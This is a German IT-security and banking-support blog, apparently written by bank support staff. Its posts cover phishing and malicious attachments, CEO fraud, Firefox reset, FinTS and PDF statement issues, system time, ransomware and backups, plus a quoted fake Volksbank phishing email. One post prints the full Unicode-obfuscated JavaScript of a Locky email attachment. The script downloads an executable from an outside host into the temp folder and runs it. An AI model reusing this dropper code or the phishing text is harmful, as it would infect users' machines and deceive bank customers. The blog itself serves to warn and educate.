Eine der Hauptverbreitungswege für Schadsoftware ist die E-Mail.Piraten-Flagge

Beinahe täglich erhalte ich Aufforderungen auf meiner privaten Mailadresse, dringend irgendetwas online zu prüfen, irgendwo eine Sicherheitseinstellung zu ändern, Kreditkarten- und Kontosperren zu verhindern oder Onlinebankingzugänge zu verifizieren. Selbst daran, mit den eigenen Daten konfrontiert und persönlich angesprochen zu werden, habe ich mich inzwischen einigermaßen gewöhnt. Unlängst habe ich sogar eine Bewerbung mit Lebenslauf in einem Virenverseuchten Wordformat erhalten.

Dass in einigen Mails in den Anhängen Trojanische Pferde mit gefährlichen Inhalten lauern, wissen inzwischen hoffentlich alle Nutzer. Die Sicherheitsexperten warnen:

Öffnen Sie niemals Anhänge von unbekannten Absendern!

Siehe Infografik aus dem deutschen Kaspersky-Blog.

Was ich nicht verstehe: Wieso wird vor „unbekannten Absendern“ gewarnt?

Die Gefahr lauert erst Recht in Mails von bekannten Menschen und Firmen! Trojaner lesen Adressdatenbanken doch seit Jahren aus und nutzen die Daten zum Verteilen. Das dürfte sich gerade bei Erpressersoftware lohnen, die ja kaum Interesse hat, sich lange zu verstecken, hier ist das primäre Hauptziel, eine möglichst hohe Infektionsquote zu erzielen.

Entsprechend meine Empfehlung:

  • Seien Sie grundsätzlich misstrauisch bei Anhängen und Links in unangekündigten E-Mails, auch bei bekannten Absendern.
  • Prüfen Sie diese vor dem Öffnen akribisch.
  • Nehmen Sie ggf. Rücksprache mit den Absendern.
  • Lassen Sie Spaßmails erstmal liegen und „heranreifen“. Derlei Unwichtiges können Sie auch noch in drei Wochen lesen, wenn Ihr Virenscanner die Gefahren gelernt hat.
  • Speichern Sie Anhänge ab und prüfen Sie diese mit einem Online-Virenscanner
  • ausführbare Dateien nicht starten
  • wenn Textverarbeitung, Tabellenkalkulation etc. nach Rechten fragt, sind wahrscheinlich Makros = Programme in der Datei versteckt=höchstes Risiko!

Bei einigen gezielten Angriffsformen geht es nicht mal darum, Spionagesoftware und trojanische Pferde einzuschleusen, wenn die Betrüger die nötigen Informationen schon haben.

Eine Spielart ist der/die/das (?) sogenannte CEO-Fraud, eine erfolgreiche Masche der Angriffe über social engineering.

Hier einer der letzten Berichte aus einer ganzen Reihe von Warnungen und Berichten zu diesem Thema:
Kölner Stadtanzeiger

 

Der Browser ist inzwischen der beliebteste Browser auf Desktop-Systemen. Gerade die Erweiterbarkeit und Flexibilität überzeugt viele Nutzer, aber dies kann auch Nachteile mit sich bringen, wenn Addons die Stabilität oder Funktionen beeinträchtigen oder wenn manipulierte Einstellungen Probleme machen.

So setzen Sie den Feuerfuchs mit wenigen Klicks auf die Grundinstallation zurück, ohne die Lesezeichen, gepeicherte Passwörter und Cookies zu verlieren und ohne dass Sie auf externe Tools zurückgreifen müssen. Wenn Sie sich Sorgen machen, können Sie mit einem dieser externen Tools auch eine Sicherheitskopie aller wichtigen Dinge anlegen. Ich selbst nutze mozbackup z.B. für Umzüge und Backups auch von Thunderbird.

Klicken Sie oben in die Adresszeile und löschen Sie alle Buchstaben. Geben Sie ein: about:support

 

Firefox_Supportmodus_01

und drücken Sie die Eingabetaste. Es öffnet sich ein Statusfenster mit vielen allgemeinen Informationen zum Status. Hier interessiert die Bereinigungsfunktion, klicken Sie auf den Button „Firefox bereinigen…“ unter rechts oben: „Machen Sie Firefox wieder flott.“

Firefox_Supportmodus_02_Fenster

In der Sicherheitsabfrage wählen Sie den Button „Firefox bereinigen“.

Firefox_Supportmodus_04_Abfrage_zuruecksetzen

Der Vorgang ist in wenigen Sekunden erledigt und der Browser startet nach Klick auf „Fertig stellen“ neu.

Firefox_Supportmodus_05_zurueckgesetzt

Wenn sich die Umsatzdaten rückwirkend verändern, kann es bei ZV-Programmen mit FinTS-Schnittstelle zur Anzeige vermeintlich doppelter Buchungen kommen.

betroffene Programme:

  • Macgiro
  • iOutbank
  • BankX
  • collmex
  • Mensamax

Abhilfe: Die Umsatzdaten seit dem Auftreten der doppelten Umsatzdaten müssen gelöscht und dann noch einmal abgerufen werden.

Man muss dabei darauf achten, dass die Daten nur ab dem gelöschten Datum abgerufen werden, an dem die doppelten Umsätze auftraten.


Woran liegt das?
FinTS-Programme holen die Bankdaten vom Bankserver selbstverständlich immer bis zur aktuellen Sekunde ab, die Aktualität ist ja auch ein besonderer Vorteil des Verfahrens. Die Umsatzdaten werden also auf Anforderung bis Stand „jetzt“ generiert. Damit keine Lücken im Datenbestand auftreten, muss die Software also Umsatzdaten „überlappend“ abholen, der aktuelle Tag ist ja noch nicht abgeschlossen. Einige Programme haben hier auch einen größeren „Puffer“ und holen z.B. einige Tage mehr ab.

DebuggingUmsatzdaten sind nun aber leider nicht durchnummeriert, zumindest in den klassischen MT940 Formaten nicht. Eine Software kann also die Buchung nur anhand des Inhalts unterscheiden und als „bekannt“ oder „neu“ erkennen.

Ändern sich diese Daten rückwirkend, z.B. durch Änderungen des Banksystems, dann haben einige Programme mehr oder weniger große Schwierigkeiten, die bereits vorhandenen Daten von den neuen Daten zu unterscheiden, sofern sie nicht generell den alten Bestand löschen.

Dass Buchungen doppelt verarbeitet wurden, ist natürlich am Kontostand verifizierbar. Durch simples Zusammenrechnen sollte also ein Programm durchaus erkennen können, dass „etwas nicht stimmen kann“, wenn Buchungen im System doppelt sind. Man kann also eine Warnung oder einen Hinweis auf doppelte Buchungen durchaus erwarten.

Ausrufezeichen_SchildIch empfehle allen Programmierern dringend, über den Wechsel zum zeigemäßeren CAMT-Format intensiver nachzudenken, weil hier ein Konvertierungsproblem wegfällt.

Die Änderung wird in den nächsten Monaten bei allen Genossenschaftsbanken am Rechenzentrum ex-GAD in Münster durchgeführt.

>> Diskussion im onlinebanking-forum

Suchlink:
#pdfkennwort

09.01.2024: Fehler im neuesten mobilen Apple-Betriebssystem generiert Passwort

Verlangt Ihr PDF-Reader beim Öffnen oder Speichern der PDF-Kontoauszüge ein Passwort oder ein Eigentümerkennwort, dann versucht der Reader womöglich an der Datei etwas zu verändern, z.B. ein Lesezeichen zu setzen oder ähnliches. Ich kenne dies von Mac-Programmen oder PDF-Readern, die direkt im Browser integriert wurden, z.B. der integrierte Firefox Browser.

Technisch handelt es sich bei den Auszügen der genossenschaftlichen Banken um ein Dokument im Archivierungsformat, PDF-A:
https://de.wikipedia.org/wiki/PDF/A

Aus naheliegenden Gründen dürfen Auszugsdateien nicht geändert werden und sind deshalb geschützt, auch Bankmitarbeitende kennen keine Kennwörter.

Man kann dem Öffnen-Problem aus zwei Richtungen begegnen: Eine Option wäre es, einen anderen Leser zu installieren und zuzuordnen, ich verwende unter Windows z.B. den freien Sumatra Leser. Wenn man das Programm zum Öffnen der PDF einstellt, gibt es weniger Probleme. Ein einfacher Workaround wäre auch das vorherige Abspeichern der Datei und zwar aus der Listenfunktion.

Öffnen Sie dann die Datei aus dem Ablageordner, beim Firefox z.B., indem Sie die Downloadliste öffnen (STRG-J) und dort das Ordnersymbol anklicken oder mit der rechten Maustaste auf den Dateinamen gehen und Ordner öffnen auswählen.

Lesetipp für Macianer (externer Link):

https://www.apfeltalk.de/community/threads/speichern-von-pdf-ueber-safari.285355/

 

Suchwort #Uhrzeit
zuletzt geändert: 03.04.2017

Ein korrektes Datum ist in der Buchhaltung sehr wichtig, aber auch die Uhrzeit ist u.a. sicherheitsrelevant. Sind Zeit, Datum oder am häufigsten die Zeitzone falsch eingestellt, werden Sie z.B. beim Onlinebanking per Browser sofort abgemeldet, Sie erhalten Fehlermeldungen oder Sie erhalten keine Umsatzdaten bei der Nutzung Ihrer Zahlungsverkehrssoftware.

Je nach Anwendung ist nicht die angezeigte Zeit entscheidend, sondern die sogenannte Internet-Zeit, die sich über die Zeitzone und die angezeigte Uhrzeit ergibt. Die angezeigte Uhrzeit mag also korrekt sein, wenn der Versatz durch die Zeitzone und Sommer/Winterzeit nicht stimmt, dann geht die Internetzeit des Rechners im Vergeich zur offiziellen Internetzeit falsch.

Banking per Browser: Denken Sie daran, nach der Zeit-Korrektur auch Cache und Cookies zu löschen.


Störung des Zeitservers

Die meisten Computer synchronisieren ihre Zeiteinstellung online mit einem Server. Ist der Zeitserver aus dem Takt oder nicht erreichbar, können Sie einen alternativen Server einstellen, die Uhr manuell stellen (siehe unten) oder das Problem einfach aussitzen.

Neben vielen anderen Webseiten beschäftigt sich diese Seite intensiver mit dem Thema und listet viele Adressen frei erreichbarer Zeitserver: www.zeitserver.de
Ich habe erfolgreich die Adresse der PTB (Physikalisch-Technischen Bundesanstalt) in Braunschweig getestet.


Sommerzeitproblemsundial

Bei der Sommerzeitumstellung scheint einiges schief zu laufen.

Seit mehr als 10 Jahren wird in den USA nicht mehr am ersten Aprilsonntag umgestellt, sondern bereits am zweiten Sonntag im März. Anscheinend werden aber einige Betriebssysteme noch im April aktiv und verstellen die Zeit erneut – oder der angesprochene Zeitserver spinnt.

Unter Umständen benötigt die Zeitzoneneinstellung nach der Umstellung einen Extraklick, um die Zeit korrekt anzuzeigen.

Prüfen Sie ggf. auch Ihren Server/Router, wenn dieser für die Zeiteinstellung in Ihrem System verantwortlich ist.


Rufzeichen_60Beachten Sie bitte folgendes: Bei Netzwerken, Datenbanken, Backups, Organizer, Cloud-Anbindungen, Buchhaltungsprogrammen etc. ist eine kontinuierliche Systemzeit und das Datum unter Umständen extrem wichtig. Daher sollten Sie nicht einfach die Zeit verstellen, wenn Sie nicht wissen, welche Auswirkungen eine Umstellung hat. Dies gilt besonders für Server und Sicherungssysteme. Sprechen Sie also ggf. mit Ihren IT-Fachleuten.


So ändern Sie die Zeiteinstellungen unter Windows 10

Zeiteinstellung unter Windows 7

So ändern Sie die Zeiteinstellungen am Mac


Ziemlich genaue Uhrzeit gesucht?  (Javascript nötig):

uhr.ptb.de

Lesetipp: Welche Bedeutung eine wirklich genaue Zeitmessung hat, kann man hier bei der Physikalisch-Technische Bundesanstalt (PTB) nachlesen.

Am Freitag hatte der Admin frei, am Samstag war dann Samsa da?Malware-Warnsymbol_rot_gluehend

Bei den aufgedeckten Fällen mit dieser Erpressersoftware wird offensichtich  viel „per Hand“ erledigt, der Einbruch in das Netzwerk und auch die Verschlüsselung des Systems erfolgt gezielt manuell.

Bei dem Aufwand ist auch die Lösegeldforderung höher – 50 Bitcoins für die Entsperrung des gesamten Netzes entsprechen heute fast 19.000,00 Euro. Der Einzelrechner ist mit 1,5 BTC dabei. Da sind die 0,5 BTC des Locky-Trojaners ja fast ein Schnäppchen.

Billige, „für alle erschwingliche Massenware“ gegen gezielte individuelle „Kundenbetreuung“ also auch hier 😉

Da fragt man sich, ob nicht gleich noch andere Beute gemacht wird, also z.B. mit Industriespionage und/oder Sabotage. Womöglich ist einem Wettbewerber die noch nicht zum Patent angemeldete Erfindung des Konkurrenten sogar etwas mehr wert als 50 Bitcoins?

Wer sich übrigens für die Erträge der Erpresser interessiert: Die Transaktionen von Bitcoinzahlungen sind ja nachvollziehbar, auch wenn die Eigentümer der Wallets nicht bekannt sind.

http://www.heise.de/newsticker/meldung/Erpressungs-Trojaner-mit-neuer-Taktik-Erst-schauen-dann-verschluesseln-3153767.html

Schloss-goldAm 04.04.2016 werden Verschlüsselungs-Zertifikate am FinTS/HBCI-Server für den PIN&TAN-Zugang unter gad.de getauscht. >>allgemeine Info

Da die VR-NetWorld Software die Zertifikate selbst verwaltet und sich nicht auf das Betriebssystem verlässt, muss der Zertifikatsbestand auf dem aktuellen Stand sein, wenn Sie ein Konto einer Bank mit  PIN&TAN führen.

Online Updates erhalten Sie für: Versionen ab 5.20 und 6.0

Sie benötigen mindestens Version 5.22 Build 13.

VRNWS_update_Build13

Veraltete Versionen:

VR-NetWorld Version 4.x wird nicht mehr aktualisiert. Neben dem Zertifikatsspeicher fehlen wichtige SEPA-Updates, deshalb kann der Betrieb nicht mehr sichergestellt werden.

Version 5.x erhält mit dem Zertifikatsupdate ebenfalls die letzte Aktualisierung. Je nach Lizenzmodell der Bank erfolgt die Aktualisierung auf unterschiedliche Weise.

Hier sind ggf. Lizenzen oder ein Programmwechsel nötig, bitte sprechen Sie mit Ihrem Lizenzgeber.

Kundinnen und Kunden der GLS Bank können unter gls-laden.de eine aktuelle Lizenz Version 6 erwerben.

 

 

Digitale Erpressung ist für die Betrüger äußerst lukrativ und wir stehen vermutlich erst am Beginn einer Welle von Erpressungstrojanern, die neuesten Varianten dieser Viren sind vermutlich so gut Security-Shieldsprogrammiert, dass eine Entschlüsselung nicht mehr möglich ist. >Heise über PGP-Trojaner

Regelmäßig durchgeführte und geeignete Datensicherungsstrategien (Backups) sind absolut notwendig, wenn man wichtige Daten mit digitaler Technik verwaltet und mehr und mehr von der Technik abhängig wird.

Worst Case Szenario – was wäre wenn?

Ich halte folgendes regelmäßiges Gedankenspiel für sehr wichtig:

  • Was passiert im schlimmsten Fall mit meiner Arbeit/meinem Hobby oder meinem Betrieb/meinem Verein, wenn mir mein Arbeitssystem komplett abhanden kommt (Diebstahl, Brand im Serverraum)?
  • Kann ich sicherstellen, dass ich in der gewünschten Zeit wieder arbeitsfähig bin?
  • Was kostet mich der Aufwand?
  • Wie groß wäre der potentielle finanzielle oder zeitliche Schaden?
  • Habe ich Ausweichmöglichkeiten?
  • Könnte der Diebstahl Auswirkungen auf Zugänge haben und könnte ich diese schnell genug sperren, Passwörter ändern?
  • Hat sich nach meinem letzten Gedankenspiel wesentliches geändert, ist Hard- und Software noch zeitgemäß und kostengünstig ersetzbar?
  • Stimmen die Verträge mit meinen Dienstleistern noch und sind sie angemessen?

Gedankenspiele reichen nicht, Testen ist wichtig

Man muss regelmäßig testen, ob die Sicherungsmaßnahmen ausreichen und funktionieren, die man getroffen hat. Was nützt mir beispielsweise ein perfekt durchorganisiertes und zuverlässiges Bandsystem, wenn ich es an keinem Ersatz-Computer mehr installieren und an Laufen bringen kann. Oder wenn die alte Software auf einem aktuellen Betriebssystem nicht mehr funktioniert? Oder im Betrieb: Wenn die Leute, die sich mit der Rücksicherung einer Datenbank auskennen, bereits in Rente oder woanders beschäftig sind?


Was Sie zur Vorsorge wg. der aktuellen Bedrohungen machen sollten, können Sie hier lesen:

http://www.heise.de/newsticker/meldung/Krypto-Trojaner-Locky-Was-tun-gegen-den-Windows-Schaedling-3112408.html

http://www.heise.de/newsticker/meldung/Erpressungs-Trojaner-fernhalten-Mit-Windows-Bordmittel-Makros-in-Office-2016-global-verbieten-3149377.html

http://www.heise.de/newsticker/meldung/Erpressungs-Trojaner-Surprise-verbreitet-sich-anscheinend-ueber-TeamViewer-3148863.html

http://www.heise.de/thema/Ransomware

Über den Unsinn mit der Mail von „den unbekannten Absendern“.


Ergänzung: Es gibt ein Tool im Betastadium (aktuell nicht für den produktiven Betrieb empfohlen), das auf das typische Verhalten der Verschlüssellung reagiert und den Prozess anhält und Alarm schlägt:
http://www.heise.de/newsticker/meldung/Krypto-Trojaner-Locky-Batch-Dateien-infizieren-Windows-Tool-verspricht-Schutz-3118188.html

Das Tool ist nur ein Hilfsmittel und kein Ersatz für eine regelmäßige Datensicherung.

Update (04.07.2016):
Heise: Gratis Tools entschlüsseln diverse Erpressungs-Trojaner

Die mir zugeschickte vermeintliche Rechnung oder das Fax enthält einen Anhang, der mit knapp über 700 Bytes (!)  einfach zu klein für ein PDF ist.

Was ist da los? Kein Virenscanner erkennt die zip Datei und den Javascript-Inhalt als Container einer Virendatei? Keiner von 54 Scannern auf Virustotal schlägt Alarm? Mein Kollege spekulierte gar nicht so abwegig: Das ist bestimmt der Bundestrojaner, der kommt „von oben“ und wird halt nicht erkannt.

Der Anhang enthält eine Javascript-Datei, die offeniichtlich  eine mit Unicode-verschleierte Webseite nachladen will. Sehr perfide, sehr geschickt.

Glaubt man den aktuellen Zahlen, werden pro Stunde 5000 Rechner in Deutschland vom enthaltenen Locky-Virus infiziert. Die Ransomware verschlüsselt die erreichbaren Dateien und man erhält  nur durch Zahlung eines Lösegeldes wieder die Ursprungsdateien zurück.

Siehe auch:
http://www.golem.de/news/ransomware-locky-kommt-jetzt-auch-ueber-javascript-1602-119331.html
Erpressungstrojaner Tesla (intern vrkennung.de)

Bildschirmfoto_2016-02-24_21-07-26

 

Die Verschleierung ist kein neues Thema:
http://www.heise.de/security/meldung/Rueckwaerts-wird-ein-Virus-draus-1242127.html

Code des Anhangs ( Javascript Datei hier als einfacher Text dargestellt und deshalb harmlos):

var fawqAx= this[‚\u0041c\u0074i\u0076\u0065XO\u0062je\u0063t‘];
var laMhHYOhH = new fawqAx(‚\u0057S\u0063r\u0069\u0070\u0074\u002E\u0053\u0068e\u006C\u006C‘);
var uDsEft = laMhHYOhH[‚\u0045x\u0070\u0061\u006E\u0064Envir\u006Fn\u006De\u006E\u0074S\u0074\u0072in\u0067s‘](‚\u0025TE\u004DP\u0025‘) + ‚\u002F\u0068\u0055O\u0048Mma\u0069n.\u0065x\u0065‘;
var nheEANo = new fawqAx(‚\u004D\u0053XM\u004C\u0032.X\u004D\u004C\u0048TT\u0050‘);
nheEANo[‚\u006Fn\u0072\u0065\u0061\u0064y\u0073\u0074\u0061\u0074ec\u0068\u0061\u006E\u0067e‘] = function() {
if (nheEANo[‚\u0072\u0065a\u0064\u0079\u0073t\u0061\u0074\u0065‘] === 4) {
var RxgIdfvB = new fawqAx(‚\u0041\u0044\u004F\u0044\u0042.S\u0074\u0072\u0065\u0061\u006D‘);
RxgIdfvB[‚op\u0065\u006E‘]();
RxgIdfvB[‚\u0074\u0079pe‘] = 1;
RxgIdfvB[‚\u0077ri\u0074\u0065‘](nheEANo[‚\u0052es\u0070\u006F\u006E\u0073e\u0042\u006F\u0064\u0079‘]);
RxgIdfvB[‚\u0070os\u0069\u0074\u0069\u006F\u006E‘] = 0;
RxgIdfvB[‚\u0073av\u0065\u0054o\u0046\u0069le‘](uDsEft, 2);
RxgIdfvB[‚\u0063lo\u0073\u0065‘]();
};
};
try {
var    HYOAzVaz = ‚R\u0075n‘;
nheEANo[‚\u006F\u0070en‘](‚GE\u0054‘ , ‚h\u0074\u0074p://\u0068t\u0074\u0070\u003A\u002F\u002F\u0066i\u0072\u0073t\u0063o\u0070\u0079\u006Dall\u002E\u0063\u006F\u006D/\u0073\u0079\u0073t\u0065m\u002F\u006Co\u0067\u0073\u002F\u0038\u0037h7\u00354‘, false);
nheEANo[‚\u0073e\u006Ed‘]();
laMhHYOhH [HYOAzVaz](uDsEft, 1, false);
} catch (ajg9ggxFs) {};

Die Betrugsmail ist in beinahe perfektem Deutsch geschrieben, enthält das typische VR-Logo und ist doch ein Betrugsversuch. Der Link verweist glücklicherweise auf auf eine Seite, die nicht mehr existiert, aber dies kann sich ja schnell ändern.

Man beachte die Anrede. der Absender lautet info@volksbank.de

Wichtig: neue Sicherheits-Software Update

Sehr geehrter Herr Sichmann,

uns bei der Volksbank liegt die Sicherheit und Integrität unserer Konten sehr am Herzen.

Leider wurde diese Sicherheit in den letzten Wochen stark gefährdet. Viele unserer Kunden sind Opfer von Cyberkriminellen und Hackern geworden.

Um dieses Problem so schnell und effizient wie möglich zu beseitigen, haben wir eine
neue Sicherheits-Software entwickelt, die unseren Online-Konten mehr
Sicherheit gibt und unsere Kunden vor solchen Übergriffen beim Online-Banking schützt.
Gerade arbeiten wir daran, diese Software auf den Online-Konten aller Kunden zu installieren.

Bitte klicken Sie zur Verifizierung auf folgenden [link entfernt und Wort Link fehlt]

Wir bedanken uns für Ihre Mitarbeit

Mit freundlichen
Grüßen,

Ihr Volksbank-Kundenservice


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Schellingstraße 4
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